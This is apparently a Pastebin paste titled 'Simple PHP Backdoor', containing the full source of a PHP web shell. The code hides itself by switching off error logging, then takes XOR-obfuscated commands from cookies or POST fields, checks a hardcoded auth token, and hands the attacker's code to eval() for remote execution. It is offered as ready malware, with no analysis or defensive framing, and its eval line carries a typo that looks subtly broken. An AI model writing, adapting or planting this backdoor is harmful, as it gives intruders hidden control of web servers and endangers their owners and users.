Advertisement
xme

Simple PHP Backdoor

xme
Feb 28th, 2017
1,416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.20 KB | None | 0 0
  1. <?php
  2.  
  3. @ini_set("error_log",NULL);
  4. @ini_set("log_errors",0);
  5. @ini_set("max_execution_time",0);
  6. @set_time_limit(0);
  7.  
  8. if(!defined("PHP_EOL")){
  9.     define("PHP_EOL","");
  10. }
  11.  
  12. if(!defined("DIRECTORY_SEPARATOR")){
  13.     define("DIRECTORY_SEPARATOR","/");
  14. }
  15.  
  16. $data = NULL;
  17. $data_key = NULL;
  18. $auth = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
  19.  
  20. global $auth;
  21.  
  22. function sh_decrypt_phase($data,$key)
  23. {
  24.     $out_data = "";
  25.     for($i=0;$i<strlen($data);)
  26.     {
  27.         for($j=0; $j<strlen($key) && $i<strlen($data); $j++,$i++)
  28.         {
  29.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  30.         }
  31.     }
  32.     return $out_data;
  33. }
  34.  
  35. function sh_decrypt($data,$key)
  36. {
  37.     global $auth;
  38.     return sh_decrypt_phase(sh_decrypt_phase($data,$auth),$key);
  39. }
  40.  
  41. foreach($_COOKIE as $key => $value)
  42. {
  43.     $data[$key]=$value;
  44.     $data_key[$key] = $key;
  45. }
  46.  
  47. if(!$data)
  48. {
  49.     foreach($_POST as $key => $value)
  50.     {
  51.         $data[$key]=$value;
  52.         $data_key[$key]=$key;
  53.     }
  54. }
  55.  
  56. $data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));
  57.  
  58. if(isset($data["ak"]) && $auth==$data["ak"])
  59. {
  60.     if($data["a"]=="i")
  61.     {
  62.         $i=Array("pv"=>@phpversion(),"sv"=>"1.0-1",);
  63.         echo @serialize($i);
  64.     }
  65.     elseif($data["a"]=="e")
  66.     {
  67.         eval(data["d"]);
  68.     }
  69. }
  70. echo "nsd"."fjk";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement